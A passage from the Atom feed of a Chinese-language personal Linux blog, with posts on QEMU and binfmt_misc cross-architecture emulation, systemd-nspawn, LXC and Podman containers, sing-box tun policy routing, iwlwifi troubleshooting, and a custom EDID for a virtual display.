&lt;tr&gt;&lt;td&gt;运行 arm64 二进制&lt;&#x2F;td&gt;&lt;td&gt;QEMU + binfmt&lt;&#x2F;td&gt;&lt;td&gt;apt install qemu-user-static &amp;amp;&amp;amp; .&#x2F;vim&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;容器中跑 arm64&lt;&#x2F;td&gt;&lt;td&gt;QEMU + binfmt + OCI&lt;&#x2F;td&gt;&lt;td&gt;podman run --platform=linux&#x2F;arm64 arm64v8&#x2F;alpine&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;交叉编译 arm64&lt;&#x2F;td&gt;&lt;td&gt;Multiarch + gcc&lt;&#x2F;td&gt;&lt;td&gt;apt install gcc-aarch64-linux-gnu &amp;amp;&amp;amp; aarch64-linux-gnu-gcc hello.c&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;chang-jian-wen-ti&quot;&gt;常见问题&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ru-guo-zhi-zuo-he-hui-zen-yang&quot;&gt;如果只做 ① 和 ②，会怎样？&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dpkg --add-architecture arm64
apt install vim:arm64
# 然后运行：
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim
# 可能得到：
# cannot execute binary file: Exec format error
# 因为：
# 系统能装包
# 但内核不知道如何执行 arm64 ELF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ru-guo-you-qemu-dan-mei-you-binfmt-misc&quot;&gt;如果有 QEMU 但没有 binfmt_misc？&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 你可以：
qemu-aarch64-static &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim
# 但不能直接：
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim
# 因为：
# 内核不会自动调用 qemu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ru-guo-you-binfmt-misc-dan-mei-you-qemu&quot;&gt;如果有 binfmt_misc 但没有 QEMU？&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# 那么执行会变成：
# No such file or directory
# 因为：
# 内核要调用 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;qemu-aarch64-static
# 结果命令不存在
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;binfmt-misc&quot;&gt;binfmt_misc&lt;&#x2F;h1&gt;
&lt;p&gt;内核机制：自动调用解释器运行异构二进制&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker run --privileged --rm tonistiigi&amp;#x2F;binfmt --install all
docker run -it --rm --platform=linux&amp;#x2F;loong64 loongarch64&amp;#x2F;debian uname -a

# qemu-user-static    # 提供 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;qemu-*-static 二进制
# binfmt-support      # Debian&amp;#x2F;Ubuntu 专用：管理 binfmt_misc 持久化
# binfmt-support 会在安装时：
# 将预定义的注册规则写入 &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;binfmt-support&amp;#x2F;
# 创建 systemd 服务：systemd-binfmt.service
# 启用服务：systemctl enable systemd-binfmt
# 系统级预装 QEMU + binfmt # Debian&amp;#x2F;Ubuntu # Fedora&amp;#x2F;RHEL 
sudo apt install qemu-user-static binfmt-support 
sudo dnf install qemu-user-static 

# 用 rootful Podman（临时 sudo）
sudo podman run --privileged --rm tonistiigi&amp;#x2F;binfmt --install all
# 普通用户运行容器（rootless 安全！）
podman run -it --rm --platform=linux&amp;#x2F;loong64 loongarch64&amp;#x2F;debian uname -a

## 复杂、会话级有效、重启失效 —— 不如一句 sudo apt install qemu-user-static
# 1. 创建用户命名空间并挂载 binfmt_misc
unshare --user --map-root-user --mount sh -c &amp;#x27;
  mount -t binfmt_misc binfmt_misc &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;binfmt_misc
  podman run --rm -v &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;binfmt_misc:&amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;binfmt_misc:rw tonistiigi&amp;#x2F;binfmt --install loong64
&amp;#x27;
# 2. 保持命名空间 alive（后台）
unshare --user --map-root-user --mount --fork sleep infinity &amp;amp;
NS_PID=$!
# 3. 在该命名空间中运行容器
nsenter -U -m -t $NS_PID podman run --platform=linux&amp;#x2F;loong64 uname -a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd-nspawn lxc podman 容器对比</title>
        <published>2025-11-24T20:56:45+08:00</published>
        <updated>2025-12-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/systemd-nspawn lxc podman 容器对比/"/>
        <id>https://vercel.juzhong.asia/2025/11/systemd-nspawn lxc podman 容器对比/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/systemd-nspawn lxc podman 容器对比/">&lt;h1 id=&quot;debootstrap-gou-jian-vmmu-lu&quot;&gt;debootstrap 构建vm目录&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1
sudo debootstrap --verbose --include=tmux,apt-transport-https,ca-certificates,dbus bookworm &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;debian https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian
sudo machinectl start debian
sudo machinectl shell debian
# sudo systemd-nspawn -D &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;debian -u root -- &amp;#x2F;bin&amp;#x2F;bash -c &amp;#x27;systemctl is-active dbus&amp;#x27;
# sudo systemd-nspawn -D &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;debian

podman pull ubuntu:24.04
podman export ubuntu:24.04 &amp;gt; ubuntu.tar
mkdir &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;ubuntu
tar -xf ubuntu.tar -C &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;ubuntu

machinectl start ubuntu
systemd-nspawn -D &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;ubuntu
# 单次运行 &amp;#x2F; 调试 &amp;#x2F; 灵活参数控制
# 参数全由用户传递，例如：
# 挂载
# network
# capabilities
# user namespace 等
sudo systemd-nspawn -b -M debian --private-users
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-machinede-qi-dong-can-shu&quot;&gt;配置machine的启动参数&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;cat &amp;lt;&amp;lt;EOF | sudo tee &amp;quot;&amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;nspawn&amp;#x2F;debian.nspawn&amp;quot; &amp;gt;&amp;#x2F;dev&amp;#x2F;null
# 安全执行环境
[Exec]
# 启用用户命名空间（关键！容器内 root ≠ 宿主 root）
PrivateUsers=yes
PrivateUsersChown=yes
# 降权：禁止提权，限制能力集
NoNewPrivileges=yes
CapabilityBoundingSet=CAP_NET_BIND_SERVICE CAP_CHOWN CAP_DAC_OVERRIDE CAP_SETGID CAP_SETUID
# 隔离内核模块&amp;#x2F;参数
PrivateMounts=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
# 文件系统
[Files]
# 只读绑定宿主关键配置
BindReadOnly=&amp;#x2F;etc&amp;#x2F;resolv.conf
# 可选：绑定项目目录（取消注释并修改路径）
#Bind=&amp;#x2F;home&amp;#x2F;$USER&amp;#x2F;project:&amp;#x2F;mnt&amp;#x2F;project
# 网络（桥接模式）
[Network]
VirtualEthernet=yes
Bridge=$BRIDGE
# 若需MACVLAN（高性能），替换为：
#MACVLAN=$MAIN_IFACE
# 资源控制（cgroup v2）
[ResourceControl]
# CPU：最多 2 核，权重 500
CPUQuota=200%
AllowedCPUs=0 1
# 内存：硬限制 2GB，软限制 1.5GB
MemoryMax=2G
MemoryHigh=1500M
# 进程数上限
TasksMax=500
# IO 权重
IOWeight=500
# 设备安全（仅允许必要设备）
[Device]
# 清空默认允许列表
DeviceAllow=
# 允许终端&amp;#x2F;随机数
DeviceAllow=char-pts rw
DeviceAllow=char-urandom r
DeviceAllow=char-null r
# 禁止访问磁盘&amp;#x2F;USB&amp;#x2F;内核设备
#DeviceAllow=block-* r  # 取消注释可允许磁盘（危险！）
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chang-qi-chi-jiu-wan-zheng-os-de-kai-fa-huan-jing-ru-bian-yi-nei-he-bu-shu-fu-wu-zhan-ce-shi-xi-tong-ji-ruan-jian&quot;&gt;长期、持久、完整 OS 的开发环境（如：编译内核、部署服务栈、测试系统级软件）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;首选 systemd-nspawn&lt;&#x2F;li&gt;
&lt;li&gt;优势：天然持久、systemd 原生、无缝 journal、machinectl 管理方便&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 创建 Ubuntu 开发机
sudo debootstrap jammy &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;dev-ubuntu
sudo systemd-nspawn -D &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;dev-ubuntu --boot
sudo machinectl enable dev-ubuntu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xu-ni-ji-zhong-pei-zhi-wang-luo&quot;&gt;虚拟机中配置网络&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ip route add  default via 192.168.2.1 dev host0
tee -a  &amp;#x2F;etc&amp;#x2F;resolv.conf&amp;lt;&amp;lt;EOF
nameserver 223.5.5.5
EOF
# 创建 networkd 配置，为 veth 接口（默认名是 host0）启用 DHCP
cat &amp;gt; &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;network&amp;#x2F;20-wired.network &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
[Match]
Name=host0
[Network]
DHCP=yes
# 可选：添加 DNS
# DNS=192.168.1.1
# Domains=lan
EOF
systemctl enable --now systemd-networkd
networkctl status

cat &amp;#x2F;etc&amp;#x2F;subuid
pid=$(machinectl show debian -p Leader --value)
cat &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;uid_map

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-isogou-zao-rootfs&quot;&gt;使用iso构造rootfs&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo mount -o loop &amp;#x2F;path&amp;#x2F;to&amp;#x2F;system.iso &amp;#x2F;mnt&amp;#x2F;iso
sudo unsquashfs -f -d &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;machines&amp;#x2F;ubuntu &amp;#x2F;mnt&amp;#x2F;iso&amp;#x2F;casper&amp;#x2F;minimal.squashfs
sudo machinectl start ubuntu
sudo machinectl shell ubuntu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xu-yao-gui-an-quan-rootless-docker-jing-xiang-sheng-tai&quot;&gt;需要 GUI + 安全 rootless + Docker 镜像生态&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;首选 Podman（rootless）&lt;&#x2F;li&gt;
&lt;li&gt;优势：一行命令跑 GUI 应用、OCI 镜像丰富、与 Dockerfile 兼容、安全&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;podman run -d \
  --name devbox \
  --hostname devbox \
  --systemd=always \
  -e DISPLAY=$DISPLAY \
  -v &amp;#x2F;tmp&amp;#x2F;.X11-unix:&amp;#x2F;tmp&amp;#x2F;.X11-unix \
  -v ~&amp;#x2F;project:&amp;#x2F;home&amp;#x2F;user&amp;#x2F;project:z \
  -v dev-data:&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;mysql \
  ghcr.io&amp;#x2F;linuxserver&amp;#x2F;code-server:latest

# 通过--rootfs运行：Podman可以直接使用这个解压后的目录来运行容器，这证实了该目录可以作为有效的根文件系统使用：
podman run --rootfs &amp;#x2F;path&amp;#x2F;to&amp;#x2F;lxc&amp;#x2F;rootfs
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xu-yao-kuai-zhao-mo-ban-chuan-tong-xu-ni-hua-ti-yan&quot;&gt;需要快照、模板、传统虚拟化体验&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;选 LXC（或 LXD）&lt;&#x2F;li&gt;
&lt;li&gt;优势：快照&#x2F;迁移&#x2F;备份成熟；适合运维人员管理多容器&lt;&#x2F;li&gt;
&lt;li&gt;推荐搭配 lxd（LXC 的 daemon + REST API + CLI 增强版）：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;lxc launch ubuntu:22.04 dev --profile default --profile gui  # 若配置了 GUI profile
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sing-box tun配置</title>
        <published>2025-11-23T19:57:28+08:00</published>
        <updated>2025-11-23T19:57:28+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/sing-box tun配置/"/>
        <id>https://vercel.juzhong.asia/2025/11/sing-box tun配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/sing-box tun配置/">&lt;h1 id=&quot;sing-box-pei-zhi-tunde-yuan-li&quot;&gt;sing-box 配置tun的原理&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Routing Policy DataBase
sudo ip rule add priority 9000 from all to 172.20.0.0&amp;#x2F;30 table 2022  
sudo ip rule add priority 9003 not iif lo lookup 2022
# 9003: not from all iif lo lookup 2022  # 生成的结果中自动添加了from all

ip rule

0:    from all lookup local
9000: from all to 172.20.0.0&amp;#x2F;30 lookup 2022
# 不匹配路由前缀为0（不匹配缺省路由）
9001: from all lookup 2022 suppress_prefixlength 0
# 地址非53端口的所有流量
9002: not from all dport 53 lookup main suppress_prefixlength 0
9002: from all ipproto icmp goto 9010
9002: from all iif tun0 goto 9010
9003: not from all iif lo lookup 2022
9003: from 0.0.0.0 iif lo lookup 2022
9003: from 172.20.0.0&amp;#x2F;30 iif lo lookup 2022
9010: from all nop
32766: from all lookup main
32767: from all lookup default
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip route show table 2022
default dev tun0

ip route show table main
default via 11.11.11.1 dev pppoe-wan proto static
11.11.11.1 dev pppoe-wan proto kernel scope link src 11.11.11.5
192.168.11.0&amp;#x2F;24 dev br-lan proto kernel scope link src 192.168.11.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chuang-jian-lu-you-ming-cheng-bing-shi-lu-you-sheng-xiao&quot;&gt;创建路由名称 并使路由生效&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo 100 custom &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;iproute2&amp;#x2F;rt_tables 
ip route add default via 192.168.1.100 dev eth1 table custom
ip rule add to 192.168.1.200 lookup custom
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fwmark&quot;&gt;fwmark&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -t mangle -A FORWARD -i eth3 -p tcp --dport 80 -j MARK --set-mark 1  
iptables -t mangle -A FORWARD -i eth3 -p tcp --dport 25 -j MARK --set-mark 2  
iptables -t mangle -A FORWARD -i eth3 -p tcp --dport 110 -j MARK --set-mark 2  
iptables -t mangle -A FORWARD -i eth3 -j MARK --set-mark 3  
ip rule add fwmark 1 table 1  
ip rule add fwmark 2 table 2  
ip rule add fwmark 3 table 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-ip-rule-pei-zhi-lu-you-gui-ze&quot;&gt;使用 ip rule 配置路由规则&lt;&#x2F;h1&gt;
&lt;p&gt;内核需要根据规则，来为数据包选择要进行的操作或选择使用的路由表——当数据包能够匹配某些规则，则对该数据包执行该规则所对应的动作，比如查找一个路由表。Linux 的默认规则会让入向和出向的流量都 &quot;lookup&quot; 默认路由表。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tian-jia-lu-you-gui-ze-de-ip-rule-yong-fa-ru-xia&quot;&gt;添加路由规则的 ip rule 用法如下：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ip rule add {prefix} {selector} {predicate}&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ip rule add 的意思很好理解，就是使用其后的参数，添加一个新的规则。prefix 表示该规则的应用范围——是入向流量还是出向流量。selector 表示需要使用的过滤条件。predicate 的意思是谓语，表示 selector 的对象或要执行的动作。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;prefix: from {addr} | to {addr}&lt;&#x2F;li&gt;
&lt;li&gt;selector: to {addr} | priority &amp;lt;#&amp;gt; | fwmark &lt;fwmark&gt; | iif &lt;name&gt; | oif &lt;name&gt; | tos &lt;value&gt;&lt;&#x2F;li&gt;
&lt;li&gt;predicate: {blackhole | prohibited | unreachable} | lookup &lt;table id&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;prefix 是源地址和&#x2F;或目的地址，可以是单一 IP 地址或一个地址段。from 后接源地址&#x2F;地址范围，to 后接目的地址&#x2F;地址范围。也可以用 all 表示所有地址。这里的 from 和 to 会被用来对数据包进行匹配，能够匹配上的则会被应用该条规则；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;selector 可以对数据包进行进一步的过滤，同一条规则中可以使用多个 selector。常用的 selector 有下面几种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;fwmark：数据包的标记值，在命令中填的 10 进制数字会被转成 16 进制存储和使用，如果要使用 16 进制表示，则需要在前面加个 x。需要注意的是，fwmark（FireWall MARK）只能由 iptables 添加；&lt;&#x2F;li&gt;
&lt;li&gt;iif：入向接口名称；&lt;&#x2F;li&gt;
&lt;li&gt;oif：出向接口名称；&lt;&#x2F;li&gt;
&lt;li&gt;priority：本条规则的优先级，数字越小，优先级越高。该值必须是唯一的，即，不允许出现两条优先级相同的路由规则；&lt;&#x2F;li&gt;
&lt;li&gt;tos：Type of Service，服务类型；&lt;&#x2F;li&gt;
&lt;li&gt;ipproto：ip 层协议类型；&lt;&#x2F;li&gt;
&lt;li&gt;sport、dport：源端口及目的端口，可以是特定端口或端口范围&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;predicate 表示当本条规则匹配成功时要执行的动作，包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;lookup：查找要使用的路由表；&lt;&#x2F;li&gt;
&lt;li&gt;unreachable：设置该路由不可达，数据包会被丢弃，ICMP 会返回 host unreachable，发送代码会报错 EHOSTUNREACH ；&lt;&#x2F;li&gt;
&lt;li&gt;blackhole（黑洞）：数据包会被无声丢弃（discarded silently），发送代码会报错 EINVAL ；&lt;&#x2F;li&gt;
&lt;li&gt;prohabit（禁止）：数据包会被丢弃并给一个报错。ICMP 会返回 communication administratively prohibited。发送代码会报错 EACCES；&lt;&#x2F;li&gt;
&lt;li&gt;需要注意的是，ip rule 并不能对数据包添加标记，而只能检查 fwmark 值，并根据该值确定如何处理数据包&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ip-rule-you-xian-ji&quot;&gt;ip rule 优先级&lt;&#x2F;h2&gt;
&lt;p&gt;这里的优先级指的是使用 ip rule 的 priority 选项设置的优先级。这个优先级实际上是最后才会发挥作用的——只有当多条规则的其他部分（from &#x2F; to，过滤规则等）都完全相同时，系统才会根据该值选择真正要使用的规则。&lt;&#x2F;p&gt;
&lt;p&gt;如果用命令设置规则的时候没有指定优先级，则系统会自动为该规则添加一个比【最近使用的规则的优先级高一级】的优先级值。比如最近用的一条路由规则的优先级为 100 ，则新添加的一条规则的优先级值就是 99。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;diao-shi&quot;&gt;调试&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;用 TRACE 调试路由&lt;&#x2F;li&gt;
&lt;li&gt;开启 debug：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo 65535 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;net&amp;#x2F;ipv4&amp;#x2F;rt_trace_max_size
sysctl -w net.core.netdev_max_backlog=5000

rtmon rt filter
# 可以看到 RPDB 的逐条匹配过程。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux wifi网卡不工作</title>
        <published>2025-11-23T18:50:42+08:00</published>
        <updated>2025-11-23T18:50:42+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/linux wifi网卡不工作/"/>
        <id>https://vercel.juzhong.asia/2025/11/linux wifi网卡不工作/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/linux wifi网卡不工作/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip link
iw dev
# 这些命令 都看不到对应的无线网卡
# pci设备是可以看到wifi设别的
# lspci -v | grep -i wifi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt update
sudo apt install firmware-iwlwifi

lspci -v | grep -i wifi
sudo lspci -v -s 00:14.3

rfkill list all
nmcli radio wifi
nmcli radio wifi on

sudo lsmod | grep iwl
sudo dmesg | grep -i iwl

# 查看系统是否至少识别 Wi-Fi 为网络设备
sudo lshw -C network
# 如果无线网卡显示：
# UNCLAIMED
# 驱动没有绑定成功
ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhong-xin-jia-zai-nei-he-mo-kuai-hou-hui-fu-liao&quot;&gt;重新加载内核模块后恢复了？&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 清空当前的 dmesg 缓冲区，排除干扰
sudo dmesg -C
# 2. 卸载驱动模块
sudo modprobe -r iwlwifi
# 3. 重新加载驱动模块 (这一步会触发初始化)
sudo modprobe iwlwifi
# 4. 立即查看刚刚产生的日志 (这次肯定会有内容！)
sudo dmesg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>构造edid内核参数 创建虚拟显示器</title>
        <published>2025-11-22T23:30:38+08:00</published>
        <updated>2025-11-22T23:30:38+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/构造edid内核参数 创建虚拟显示器/"/>
        <id>https://vercel.juzhong.asia/2025/11/构造edid内核参数 创建虚拟显示器/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/构造edid内核参数 创建虚拟显示器/">&lt;h1 id=&quot;nei-he-ji-xu-ni-xian-shi-qi-tui-jian-wu-xu-ying-jian-yong-jiu-sheng-xiao&quot;&gt;内核级虚拟显示器（推荐！无需硬件，永久生效）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;选择一个没有物理显示器的接口(逻辑接口)&lt;&#x2F;li&gt;
&lt;li&gt;使用 drm_kms_helper.edid_firmware + 自定义 EDID&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;for p in &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;*&amp;#x2F;status; do con=${p%&amp;#x2F;status}; echo -n &amp;quot;${con#*&amp;#x2F;card?-}: &amp;quot;; cat $p; done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;sheng-cheng-yi-ge-biao-zhun-edid-li-ru-1920x1080&quot;&gt;生成一个标准 EDID（例如 1920x1080）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 edid-decode（Debian&amp;#x2F;Ubuntu）
sudo apt install edid-decode
# 创建 1920x1080 EDID 文件（标准 60Hz）
cat &amp;gt; custom-edid.bin &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
00ffffffffffff004c2dd707ffffffffff
141a0104a51e177802ee95a3544c9926
0f5054bfef80714f81c0810081809500
a9c0b300950f023a801871382d40582c
4500dd0c1100001e000000ff004c6170
746f702d303030300a20000000fc0044
656c6c205532343139480a20000000fd
00184c1e5111000a2020202020202020
000000ff004c6170746f702d30303030
0a200088
EOF

# 转为二进制（上述已是 hexdump -C 格式，需 decode）
xxd -r -p &amp;gt; edid.bin &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
00ffffffffffff004c2dd707ffffffffff141a0104a51e177802ee95a3544c99260f5054bfef80714f81c0810081809500a9c0b300950f023a801871382d40582c4500dd0c1100001e000000ff004c6170746f702d303030300a20000000fc0044656c6c205532343139480a20000000fd00184c1e5111000a2020202020202020000000ff004c6170746f702d303030300a200088
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是一个标准 Dell U2419H 的 EDID（1920x1080@60Hz），你可用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tomverbeure.github.io&#x2F;video_timings_calculator?horiz_pixels=640&amp;amp;vert_pixels=480&amp;amp;refresh_rate=60&amp;amp;margins=false&amp;amp;interlaced=false&amp;amp;bpc=8&amp;amp;color_fmt=rgb444&amp;amp;video_opt=false&amp;amp;custom_hblank=80&amp;amp;custom_vblank=6&quot;&gt;在线工具&lt;&#x2F;a&gt;生成任意分辨率&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-zhi-dao-gu-jian-mu-lu&quot;&gt;复制到固件目录&lt;&#x2F;h2&gt;
